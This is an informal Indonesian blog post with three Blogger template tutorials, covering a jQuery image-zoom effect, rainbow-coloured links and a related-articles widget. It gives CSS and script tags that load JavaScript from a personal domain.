nah biar lebih dagus blog kalian pake zoom image apalagi kalau kalian blognya yang ngejelasin  tutorial yang pake image wajib nih pake Zoom Image.

- masuk ke edit html


- cari kode
]]></b:skin>
-  lalu masukan kode di bawah ini sebelum kode diatas
/* Zoom Image
------------------------------- */
div.jquery-image-zoom {
line-height: 0;
font-size: 0;
z-index: 10;
border: 5px solid #fff;
margin: -5px;
-webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
-moz-box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
}
div.jquery-image-zoom a {
background: url(http://lh6.ggpht.com/_xcD4JK_dIjU/TEfN4VrRQPI/AAAAAAAAESY/so-0qObS1BM/d/jquery.imageZoom.png) no-repeat;
display: block;
width: 25px;
height: 25px;
position: absolute;
left: -17px;
top: -17px;
/* IE-users are prolly used to close-link in right-hand corner */
*left: auto;
*right: -17px;
text-decoration: none;
text-indent: -100000px;
outline: 0;
z-index: 11;
}
div.jquery-image-zoom a:hover {
background-position: left -25px;
}
div.jquery-image-zoom img,
div.jquery-image-zoom embed,
div.jquery-image-zoom object,
div.jquery-image-zoom div {
width: 100%;
height: 100%;
margin: 0;
- lalu cari kode </head>
- lalu masukan kode di bawahini di atas kode tadi
<!-- Zoom Image start -->
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'/>
<script src='http://lahzz.tk/zoom.js' type='text/javascript'/>
<script type='text/javascript'>
jQuery(document.body).imageZoom();
</script>
<!-- Zoom Image end -->

Cara membuat Semua Link/URL berwarna pelangi

Ok di postingan kali ini saya akan menjelaskan tentang membuat semua link yg ada di blog

berubah ubah warna seperti pelangi OK langsung praktek :


- Masuk ke Template

- Edit HTML

- Lalu cari Kode


    <head>

lalu masukan Kode Di bawah ini tepat di bawah kode tadi

    <script language='javascript' src='http://lahzz.tk/LinkPelangi.js'></script>



 lalu simpan dan lihat hasilnya.

Membuat Artikel Terkait Di blog

Ok sob sekarang saya akan menerangkan tentang cara membuat artikel terkait . Untuk membuat artikel terkait caranya lumayan mudah . artikel terkait akan memudahkan pembaca untuk melihat artikel lainnya di blog kita jadi artikel terkait bermanfaat bagi blog kita, Ok gak usah panjang lebar lagi ,langsung praktek :

- Login Ke Akun Blogger Kalian
- Klik Template
- lalu edit html
- cari kode di bawah ini

<data:post.body/>
- Kalau terdapat 2 kode di atas kalian pilih yg paling bawahnya
- lalu masukan  kode di bawah ini tepat di atas kode yang tadi

klick here to view
Lalu simpan.




VISITOR
Sidebar bottom